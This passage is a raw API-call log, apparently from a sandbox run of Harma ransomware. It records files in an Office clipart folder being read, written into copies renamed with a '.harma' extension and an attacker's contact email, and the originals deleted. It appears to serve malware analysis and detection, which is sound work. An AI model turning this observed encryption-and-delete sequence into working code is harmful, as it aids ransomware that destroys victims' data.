returned -1 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString=".jpg") returned 4 [0146.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.030] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.030] lstrlenW (lpString="BL00524_.WMF") returned 12 [0146.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0146.030] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6996) returned 1 [0146.030] CloseHandle (hObject=0x214) returned 1 [0146.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0146.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.550] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.551] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0147.551] GetLastError () returned 0x0 [0147.552] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1b54, lpOverlapped=0x0) returned 1 [0147.584] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0147.585] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.585] SetEndOfFile (hFile=0x21c) returned 1 [0147.586] CloseHandle (hObject=0x21c) returned 1 [0147.586] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.586] SetEndOfFile (hFile=0x34c) returned 1 [0147.588] CloseHandle (hObject=0x34c) returned 1 [0147.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0147.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.590] lstrlenW (lpString=".doc") returned 4 [0147.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.590] lstrlenW (lpString=".docx") returned 5 [0147.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.590] lstrlenW (lpString=".pdf") returned 4 [0147.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.590] lstrlenW (lpString=".xls") returned 4 [0147.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.590] lstrlenW (lpString=".xlsx") returned 5 [0147.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.590] lstrlenW (lpString=".ppt") returned 4 [0147.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.590] lstrlenW (lpString=".zip") returned 4 [0147.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.590] lstrlenW (lpString=".rar") returned 4 [0147.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.590] lstrlenW (lpString=".bz2") returned 4 [0147.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString=".7z") returned 3 [0147.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.591] lstrlenW (lpString=".dbf") returned 4 [0147.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.591] lstrlenW (lpString=".1cd") returned 4 [0147.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.591] lstrlenW (lpString=".jpg") returned 4 [0147.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.591] lstrlenW (lpString=".doc") returned 4 [0147.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString=".docx") returned 5 [0147.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.591] lstrlenW (lpString=".pdf") returned 4 [0147.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.591] lstrlenW (lpString=".xls") returned 4 [0147.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.591] lstrlenW (lpString=".xlsx") returned 5 [0147.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.591] lstrlenW (lpString=".ppt") returned 4 [0147.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.592] lstrlenW (lpString=".zip") returned 4 [0147.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.592] lstrlenW (lpString=".rar") returned 4 [0147.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.592] lstrlenW (lpString=".bz2") returned 4 [0147.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.592] lstrlenW (lpString=".7z") returned 3 [0147.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.592] lstrlenW (lpString=".dbf") returned 4 [0147.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.592] lstrlenW (lpString=".1cd") returned 4 [0147.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0147.592] lstrlenW (lpString=".jpg") returned 4 [0147.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.592] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.592] lstrlenW (lpString="BS00200_.WMF") returned 12 [0147.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.599] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3104) returned 1 [0147.599] CloseHandle (hObject=0x338) returned 1 [0147.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0147.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.601] GetLastError () returned 0x0 [0147.601] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xc20, lpOverlapped=0x0) returned 1 [0147.603] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xc30, lpOverlapped=0x0) returned 1 [0147.605] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.605] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.605] SetEndOfFile (hFile=0x328) returned 1 [0147.605] CloseHandle (hObject=0x328) returned 1 [0147.605] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.605] SetEndOfFile (hFile=0x338) returned 1 [0147.608] CloseHandle (hObject=0x338) returned 1 [0147.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0147.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.610] lstrlenW (lpString=".doc") returned 4 [0147.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString=".docx") returned 5 [0147.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.610] lstrlenW (lpString=".pdf") returned 4 [0147.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString=".xls") returned 4 [0147.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.610] lstrlenW (lpString=".xlsx") returned 5 [0147.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.610] lstrlenW (lpString=".ppt") returned 4 [0147.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.610] lstrlenW (lpString=".zip") returned 4 [0147.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.610] lstrlenW (lpString=".rar") returned 4 [0147.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString=".bz2") returned 4 [0147.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString=".7z") returned 3 [0147.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.610] lstrlenW (lpString=".dbf") returned 4 [0147.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.610] lstrlenW (lpString=".1cd") returned 4 [0147.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.611] lstrlenW (lpString=".jpg") returned 4 [0147.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.611] lstrlenW (lpString=".doc") returned 4 [0147.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString=".docx") returned 5 [0147.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.611] lstrlenW (lpString=".pdf") returned 4 [0147.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString=".xls") returned 4 [0147.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.611] lstrlenW (lpString=".xlsx") returned 5 [0147.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.611] lstrlenW (lpString=".ppt") returned 4 [0147.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.611] lstrlenW (lpString=".zip") returned 4 [0147.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.611] lstrlenW (lpString=".rar") returned 4 [0147.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString=".bz2") returned 4 [0147.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.611] lstrlenW (lpString=".7z") returned 3 [0147.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.612] lstrlenW (lpString=".dbf") returned 4 [0147.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.612] lstrlenW (lpString=".1cd") returned 4 [0147.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0147.612] lstrlenW (lpString=".jpg") returned 4 [0147.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.612] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.612] lstrlenW (lpString="BS00224_.WMF") returned 12 [0147.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.613] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1588) returned 1 [0147.613] CloseHandle (hObject=0x338) returned 1 [0147.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0147.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.613] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.614] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.615] GetLastError () returned 0x0 [0147.615] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x634, lpOverlapped=0x0) returned 1 [0147.617] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x640, lpOverlapped=0x0) returned 1 [0147.618] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.618] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.618] SetEndOfFile (hFile=0x328) returned 1 [0147.619] CloseHandle (hObject=0x328) returned 1 [0147.619] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.619] SetEndOfFile (hFile=0x338) returned 1 [0147.621] CloseHandle (hObject=0x338) returned 1 [0147.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.623] lstrlenW (lpString=".doc") returned 4 [0147.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".docx") returned 5 [0147.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.623] lstrlenW (lpString=".pdf") returned 4 [0147.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".xls") returned 4 [0147.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.623] lstrlenW (lpString=".xlsx") returned 5 [0147.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.623] lstrlenW (lpString=".ppt") returned 4 [0147.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.623] lstrlenW (lpString=".zip") returned 4 [0147.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.623] lstrlenW (lpString=".rar") returned 4 [0147.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".bz2") returned 4 [0147.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".7z") returned 3 [0147.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.623] lstrlenW (lpString=".dbf") returned 4 [0147.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.624] lstrlenW (lpString=".1cd") returned 4 [0147.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.624] lstrlenW (lpString=".jpg") returned 4 [0147.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.624] lstrlenW (lpString=".doc") returned 4 [0147.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".docx") returned 5 [0147.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.624] lstrlenW (lpString=".pdf") returned 4 [0147.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".xls") returned 4 [0147.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.624] lstrlenW (lpString=".xlsx") returned 5 [0147.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.624] lstrlenW (lpString=".ppt") returned 4 [0147.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.624] lstrlenW (lpString=".zip") returned 4 [0147.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.624] lstrlenW (lpString=".rar") returned 4 [0147.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.625] lstrlenW (lpString=".bz2") returned 4 [0147.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.625] lstrlenW (lpString=".7z") returned 3 [0147.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.625] lstrlenW (lpString=".dbf") returned 4 [0147.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.625] lstrlenW (lpString=".1cd") returned 4 [0147.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0147.625] lstrlenW (lpString=".jpg") returned 4 [0147.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.625] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.625] lstrlenW (lpString="BS00438_.WMF") returned 12 [0147.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.626] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ffff1c | out: 